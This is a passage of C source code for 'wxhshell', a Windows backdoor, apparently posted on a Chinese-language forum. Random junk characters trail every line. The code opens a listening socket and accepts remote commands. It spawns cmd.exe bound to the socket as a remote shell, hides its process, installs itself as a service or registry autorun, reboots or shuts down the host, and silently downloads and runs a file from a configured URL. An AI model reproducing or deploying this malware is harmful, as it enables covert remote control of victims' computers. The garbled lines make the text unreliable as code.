  } N$?mula  
  else { 1 dI  
o&gcFOM22  
    switch(cmd[0]) { wxr93$v  
  }"Y]GH4Y  
  // 帮助 A^%z;( 0p  
  case '?': { A3yVT8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A$fd6+{  
    break; 3"!2C,3c#  
  } )!p=0&z@{  
  // 安装 6Z|/M6f  
  case 'i': { u|9^tHT>  
    if(Install()) rWi9'6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L=4?vs  
    else !tHqF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 18V*Cu  
    break; esbxx##\  
    } fy9{W@E3p  
  // 卸载 *sB=Ys?  
  case 'r': { xg\M9&J  
    if(Uninstall()) S #&HB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h'w9=Pk~6y  
    else 8~\Fpz|Og  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mz+|~'R  
    break; rm(<?w%'?  
    } `H ^Nc\P#  
  // 显示 wxhshell 所在路径 DQH _@-q  
  case 'p': { aztP`S$h  
    char svExeFile[MAX_PATH]; 2%1 g%  
    strcpy(svExeFile,"\n\r"); {HvR24#  
      strcat(svExeFile,ExeFile); Af ^6  
        send(wsh,svExeFile,strlen(svExeFile),0); 8+v6%,K2  
    break; {Kd9}CDAZ  
    } fx%'7/+  
  // 重启 bHWy9-  
  case 'b': { X#1So.}c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }B^s!y&b  
    if(Boot(REBOOT)) (Qq! u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oQWS$\Rr.  
    else { `k _5Pz\  
    closesocket(wsh); G-bG}9vc]  
    ExitThread(0); ?2_u/x  
    } 7:{4'Wr@6|  
    break; {3`#? q^o'  
    }  U7tT  
  // 关机 w&`gx6?-na  
  case 'd': { f9&D0x?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Mwp#.du(  
    if(Boot(SHUTDOWN)) xgsD<3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (. 1<.PZp)  
    else { .l !:|Fd  
    closesocket(wsh); D\N-ye1LE  
    ExitThread(0); +*!oZKm.  
    } BAdHGwomh  
    break; k[y{&f,  
    } 6~;fj+S  
  // 获取shell 9! gmS?f  
  case 's': { wToz{!n  
    CmdShell(wsh); J Y %B:  
    closesocket(wsh); XV). cW|.a  
    ExitThread(0); I2YQIY+  
    break; 4U C/pGZY  
  } #e+%;5\  
  // 退出 &Mo=V4i>  
  case 'x': { Nd^9.6,JU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T* -*U /  
    CloseIt(wsh); @\u)k  
    break; %jKR\f G  
    } @Eqc&v!O  
  // 离开 /=,^fCCN  
  case 'q': { roj/GZAy"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <MA!?7Z|  
    closesocket(wsh); (RWZ [-;)  
    WSACleanup(); ;wJLH\/  
    exit(1); ;7tOFsV  
    break; Rj+}L ~"  
        } ,'={/)c<  
  } ~;wSe[  
  } 1K0 9iB  
8T$:^HW  
  // 提示信息 3f eI   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OtY.s\m y  
} }1z= C<  
  } <)?H98S  
pc:K5 -Os  
  return; Xb#x^?|  
} 6"-LGK:  
(U/6~r'.L  
// shell模块句柄 X OJ/$y  
int CmdShell(SOCKET sock) Crm](Z?  
{ QRgWzaI  
STARTUPINFO si; C&zgt :q6}  
ZeroMemory(&si,sizeof(si)); z})H$]:$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1g2%f9G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7&'^H8V  
PROCESS_INFORMATION ProcessInfo; @hQ+pG@s  
char cmdline[]="cmd"; q+WOnTS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j3Cpo x  
  return 0; V<:kS  
} HR.S.(t[_  
+qD4`aI   
// 自身启动模式 4-ZiKM  
int StartFromService(void) }I#;~|v~<  
{ < LzN/I aJ  
typedef struct #wx0xQ~,J  
{ Q(oWaG  
  DWORD ExitStatus; [-s0'z  
  DWORD PebBaseAddress; rTDx|pvYx  
  DWORD AffinityMask; [^1;8Tbk  
  DWORD BasePriority; kxTh tjgv  
  ULONG UniqueProcessId; T 7Lk4cU  
  ULONG InheritedFromUniqueProcessId; >fdS$,`A  
}   PROCESS_BASIC_INFORMATION; w_/q5]/V-5  
\>23_d0  
PROCNTQSIP NtQueryInformationProcess; ^p|@{4f]  
IDdhBdQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EOVHTDkKf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YPf&y"E&H  
%DgU  
  HANDLE             hProcess; 8 6?D  
  PROCESS_BASIC_INFORMATION pbi; eZI&d;i  
xyBe*,u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O0WzDD  
  if(NULL == hInst ) return 0; &nZ=w#_  
&>i+2c~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3/}=x<ui  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GB^Ch YOb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8 E.u3eS  
7I(Sa?D:  
  if (!NtQueryInformationProcess) return 0; m#grtmyMrI  
,5t.0XqS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i\},  
  if(!hProcess) return 0;  6.KR(V  
/D 2v 1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YOP=gvZq  
A~h.,<+"  
  CloseHandle(hProcess); ToDNBt.u{+  
yY`<t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sBZKf8@/  
if(hProcess==NULL) return 0; :*A6Ba  
~Jmn?9 3  
HMODULE hMod; CuT[V?^iD  
char procName[255]; r}D`15IHJ  
unsigned long cbNeeded; 1i2jYDB"  
jW?.>(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JgYaA*1X  
<y-KW WE  
  CloseHandle(hProcess); G)5%f\&  
:Oa|&.0l?  
if(strstr(procName,"services")) return 1; // 以服务启动 uH65DI<  
fCO!M1t  
  return 0; // 注册表启动 Ks8S^77  
} b==<7[8  
Q4CxtY  
// 主模块 q:J,xC_sF(  
int StartWxhshell(LPSTR lpCmdLine) 4=*VXM/  
{ &wK%p/?  
  SOCKET wsl; C Ij3D"  
BOOL val=TRUE; c<pr1g  
  int port=0; [M Z'i/  
  struct sockaddr_in door;  p&:R SO  
`Qaw]&O  
  if(wscfg.ws_autoins) Install(); 'WxcA)z0cQ  
$N+a4  
port=atoi(lpCmdLine); %CD}A%~  
vxk1RL*Xu  
if(port<=0) port=wscfg.ws_port; v)okVyv  
vT\`0di~  
  WSADATA data; -'5:Cq   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f{^C+t{r  
| 1T2<ZT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #^yw!~:{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BT`D|<  
  door.sin_family = AF_INET; NU I|4X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k3}ymhUf  
  door.sin_port = htons(port); )z2Tm4>iql  
`| L+a~~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]\ sBl  
closesocket(wsl); L*D-RYW  
return 1; wrac\.  
} UT==x<  
I/pavh  
  if(listen(wsl,2) == INVALID_SOCKET) { 9~ K 1+%!  
closesocket(wsl); na(@`(j[  
return 1; bn~=d@'  
} 6_^ u}me  
  Wxhshell(wsl); m~(]\  
  WSACleanup(); K$R1x1lc2  
#wk'&XsC#z  
return 0; Z +(V'e;  
zw7=:<z=  
} J0C,K U(  
8e[kE>tS._  
// 以NT服务方式启动 ~BDVmQa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'fy1'^VPAV  
{ UfOF's_'<  
DWORD   status = 0; B9>3xxp(by  
  DWORD   specificError = 0xfffffff; jxZ R%D  
st+X~;PX*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ) $#ov-]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dfO@Yo-?*'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A_CEpG]  
  serviceStatus.dwWin32ExitCode     = 0; "  F~uTo  
  serviceStatus.dwServiceSpecificExitCode = 0; =5[}&W  
  serviceStatus.dwCheckPoint       = 0; #'v7mEwt  
  serviceStatus.dwWaitHint       = 0; 2|qE|3&{'  
x\*`i)su  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Hh$x8ADf  
  if (hServiceStatusHandle==0) return; fS w00F{T  
?h<I:[oZ  
status = GetLastError(); ,l.O @  
  if (status!=NO_ERROR) N6Vn/7I5%  
{ 6AUXYbK,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; & WYIfx{  
    serviceStatus.dwCheckPoint       = 0; }f;Zx)!  
    serviceStatus.dwWaitHint       = 0; UqsVqi h(  
    serviceStatus.dwWin32ExitCode     = status; z X2BJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; (`<l" @:_*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N$6Rg1  
    return; Me`jh8(K\6  
  } : \:jIP  
O<)"k j 7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K0g<11}(Yg  
  serviceStatus.dwCheckPoint       = 0; HulN84  
  serviceStatus.dwWaitHint       = 0; Hhx<k{B@7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J 2v=b?NE  
} ,xn+T)2I  
iRPt0?$  
// 处理NT服务事件,比如:启动、停止 BYqDC<Fq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qCc'w8A  
{ =L#tSa=M"  
switch(fdwControl) 1WfN_JKB5  
{ Y6?d y\  
case SERVICE_CONTROL_STOP: kC!7<%(  
  serviceStatus.dwWin32ExitCode = 0; B+`m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KNic$:i  
  serviceStatus.dwCheckPoint   = 0; ]$EKowi  
  serviceStatus.dwWaitHint     = 0; 38>8{Ma  
  { f]h99T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TMhUo#`I|  
  } E;@` { v  
  return; wbU pD(  
case SERVICE_CONTROL_PAUSE: `-hFk88  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;E,%\<  
  break; H/|Mq#K  
case SERVICE_CONTROL_CONTINUE: `2o/W]SSk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c}U&!R2p{  
  break; Y 'Yoc  
case SERVICE_CONTROL_INTERROGATE: Ki,]*-XO  
  break; Y@c! \0e$  
}; ^; Nu\c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @-NdgM<  
} |4\.",Bg  
 G;Q)A$-  
// 标准应用程序主函数 9} :n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zF>| 9JU  
{ {-PD3 [f"  
}mxy6m ,  
// 获取操作系统版本 17a'C  
OsIsNt=GetOsVer(); KA0Ui,q3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JY(_}AAu  
$*Njvr7  
  // 从命令行安装 &DYHkG  
  if(strpbrk(lpCmdLine,"iI")) Install(); OHdC t  
)Jz L  
  // 下载执行文件 f[6;)ZA  
if(wscfg.ws_downexe) { 5 UpN/\He  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?i>.<IPOq  
  WinExec(wscfg.ws_filenam,SW_HIDE); )|~pocXt<  
} ~]*P/'-{#  
j,K]T J  
if(!OsIsNt) { x\]%TTps  
// 如果时win9x,隐藏进程并且设置为注册表启动 w`bojM@e1  
HideProc(); nAZuA]p}S]  
StartWxhshell(lpCmdLine); I: P/ ?-  
} WtN o@e'  
else ; dPyhR  
  if(StartFromService()) 7{ (t_N >  
  // 以服务方式启动 ,P3nZ  
  StartServiceCtrlDispatcher(DispatchTable); @SF*Kvb&  
else ^%@(> :)0  
  // 普通方式启动 ZxlQyr`~a(  
  StartWxhshell(lpCmdLine); f]tc$`vb  
}oIA*:5  
return 0; ZZL.&Ho  
}
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只看该作者 1 发表于: 2006-10-10
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